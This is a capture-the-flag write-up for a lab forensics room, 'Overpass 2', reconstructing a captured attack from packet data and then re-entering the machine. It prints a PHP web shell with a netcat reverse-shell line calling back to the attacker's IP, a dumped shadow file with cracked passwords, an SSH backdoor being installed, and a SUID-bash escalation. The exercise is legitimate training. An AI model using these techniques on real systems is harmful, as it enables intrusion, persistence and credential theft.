---
# System prepended metadata

title: OverPass2
tags: [investigation, vulnerableMachine]

---

# OverPass2



###### tags: `vulnerableMachine` `investigation`


[TOC]


Overpass has been hacked! The SOC team (Paradox, congratulations on the promotion) noticed suspicious activity on a late night shift while looking at shibes, and managed to capture packets as the attack happened.

Can you work out how the attacker got in, and hack your way back into Overpass' production server?


---

Attacker 192.168.170.145	
Victim 192.168.170.159

# Protocol Hierarchy Static

![](https://i.imgur.com/EJLWYXN.png)


# Export HTTP packets




![](https://i.imgur.com/pud1Fim.png)



# Upload the web shell 



```
-----------------------------1809049028579987031515260006
Content-Disposition: form-data; name="fileToUpload"; filename="payload.php"
Content-Type: application/x-php

<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f")?>

-----------------------------1809049028579987031515260006
Content-Disposition: form-data; name="submit"

Upload File
-----------------------------1809049028579987031515260006--

```


upload.php
```
<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f")?>
```


Attacker -> Initial Access

---



transport layer -> data -> copy -> printable Text (TCP port 80)


tcp.port == 80 -> investigate packet bit (command)

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)

# we could know he login in as www-data identity


www-data@overpass-production:/var/www/html/development/uploads$ 


-rw-r--r-- 1 www-data www-data 51 Jul 21 17:48 .overpass

-rw-r--r-- 1 www-data www-data 99 Jul 21 20:34 payload.php

www-data@overpass-production:/var/www/html/development/uploads$ 


```

# stabilize shell 

```
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

-> interactive shell 






```
sudo cat /etc/shadow
root:*:18295:0:99999:7:::

daemon:*:18295:0:99999:7:::

bin:*:18295:0:99999:7:::

sys:*:18295:0:99999:7:::

sync:*:18295:0:99999:7:::

games:*:18295:0:99999:7:::

man:*:18295:0:99999:7:::

lp:*:18295:0:99999:7:::

mail:*:18295:0:99999:7:::

news:*:18295:0:99999:7:::

uucp:*:18295:0:99999:7:::

proxy:*:18295:0:99999:7:::

www-data:*:18295:0:99999:7:::

backup:*:18295:0:99999:7:::

list:*:18295:0:99999:7:::

irc:*:18295:0:99999:7:::

gnats:*:18295:0:99999:7:::

nobody:*:18295:0:99999:7:::

systemd-network:*:18295:0:99999:7:::

systemd-resolve:*:18295:0:99999:7:::

syslog:*:18295:0:99999:7:::

messagebus:*:18295:0:99999:7:::

_apt:*:18295:0:99999:7:::

lxd:*:18295:0:99999:7:::

uuidd:*:18295:0:99999:7:::

dnsmasq:*:18295:0:99999:7:::

landscape:*:18295:0:99999:7:::

pollinate:*:18295:0:99999:7:::

sshd:*:18464:0:99999:7:::

james:$6$7GS5e.yv$HqIH5MthpGWpczr3MnwDHlED8gbVSHt7ma8yxzBM8LuBReDV5e1Pu/VuRskugt1Ckul/SKGX.5PyMpzAYo3Cg/:18464:0:99999:7:::

paradox:$6$oRXQu43X$WaAj3Z/4sEPV1mJdHsyJkIZm1rjjnNxrY5c8GElJIjG7u36xSgMGwKA2woDIFudtyqY37YCyukiHJPhi4IU7H0:18464:0:99999:7:::

szymex:$6$B.EnuXiO$f/u00HosZIO3UQCEJplazoQtH8WJjSX/ooBjwmYfEOTcqCAlMjeFIgYWqR5Aj2vsfRyf6x1wXxKitcPUjcXlX/:18464:0:99999:7:::

bee:$6$.SqHrp6z$B4rWPi0Hkj0gbQMFujz1KHVs9VrSFu7AU9CxWrZV7GzH05tYPL1xRzUJlFHbyp0K9TAeY1M6niFseB9VLBWSo0:18464:0:99999:7:::

muirland:$6$SWybS8o2$9diveQinxy8PJQnGQQWbTNKeb2AiSp.i8KznuAjYbqI3q04Rf5hjHPer3weiC.2MrOj2o1Sw/fd2cu0kC6dUP.:18464:0:99999:7:::


```


# John crack 

![](https://i.imgur.com/wsDNmve.png)
```
secret12         (bee)     
abcd123          (szymex)     
1qaz2wsx         (muirland)     
secuirty3        (paradox) 
```



# Persistence 


```
git clone https://github.com/NinjaJc01/ssh-backdoor

```

He opened a back door on port 2222


```
Cloning into 'ssh-backdoor'...

cd ssh-backdoor


james@overpass-production:~/ssh-backdoor$ 

chmod +x backdoor


./backdoor -a 6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed

```


# Analysis the backdoor program


https://github.com/NinjaJc01/ssh-backdoor/blob/master/main.go

![](https://i.imgur.com/J5BZxpT.png)

encrypt type :sha512
protocol :ssh


ssh verify

```
func verifyPass(hash, salt, password string) bool {
	resultHash := hashPassword(password, salt)
	return resultHash == hash
}
```

-> hashPassword(password, salt)

we have to know password and salt 

```
func passwordHandler(_ ssh.Context, password string) bool {
	return verifyPass(hash, "1c362db832f3f864c8c2fe05f2002a05", password)
}
```

This's a salt 
```
1c362db832f3f864c8c2fe05f2002a05
```

Default Hash
```
var hash string = "bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3"

```


Password could be find from the PACP

```
6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed
```



# Hack back 

## Crack (hash+salt)
```
john --wordlist=../../wordlists/rockyou.txt --format='dynamic=sha512($p.$s)' hackerHash.txt
```

backdoor (port 2222 ) password:november16

---

Hash+Salt 
```
6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed$1c362db832f3f864c8c2fe05f2002a05
```






![](https://i.imgur.com/KE45SME.png)


![](https://i.imgur.com/27pVfh7.png)



## SSH login 

https://blog.alanwei.com/blog/2022/01/24/ssh-no-matching-host-key-type-found/
```
ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa  james@10.10.214.245 -p 2222
```


![](https://i.imgur.com/2hYpXXL.png)

```
find / -perm -u=s -type f 2>/dev/null; find / -perm -4000 -o- -perm -2000 -o- -perm -6000 2>/dev/null
```
![](https://i.imgur.com/4iDAauo.png)
```
./.suid_bash -p
```
-p  (privileged)


![](https://i.imgur.com/DB74Pq4.png)
